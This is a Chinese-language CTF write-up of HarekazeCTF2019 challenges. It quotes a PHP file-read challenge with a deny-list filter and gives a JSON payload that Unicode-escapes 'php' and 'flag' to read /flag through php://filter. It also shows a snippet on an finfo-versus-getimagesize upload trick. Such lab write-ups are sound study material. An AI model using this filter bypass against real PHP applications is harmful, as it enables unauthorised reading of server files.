[HarekazeCTF2019]encode_and_encode

知识点:

JSON转义字符绕过

\uXXXX可以在JSON中转义字符,例如A\u0041等效

json里可以识别 unicode码

php伪协议

php://filter/convert.base64-encode/resource=
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content

思路:

file_get_contents('php://input') 获取 post 的数据,json_decode($body, true) 用 json 格式解码 post 的数据,然后 is_valid($body) 对 post 数据检验,大概输入的格式如下

但是文件内容也校验 if (!$content || !is_valid($content)) { 就要用base64解密一下!

php和flag都unicode一下就可以了! unicode 选择 中午转unicode

image-20210418164444214

payload:

{"page":"\u0070\u0068\u0070://FilTer/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

image-20210418164932001

[HarekazeCTF2019]Avatar Uploader 1

知识点:

  1. FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以
  • 在这两种判断上传图片类型的函数中,有一个很有趣的现象, FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以,代码如下
<?php
$file = finfo_open(FILEINFO_MIME_TYPE);

var_dump(finfo_file($file, "test"));

$f = getimagesize("test");
var_dump($f[2] === IMAGETYPE_PNG);
  • 结果,16进制文件也在下面

    img

    img

image-20210418174056916

咋会有折磨变态的题!

[HarekazeCTF2019]baby_rop

session 伪造+反序列化! 没看懂!

https://xz.aliyun.com/t/6628#toc-2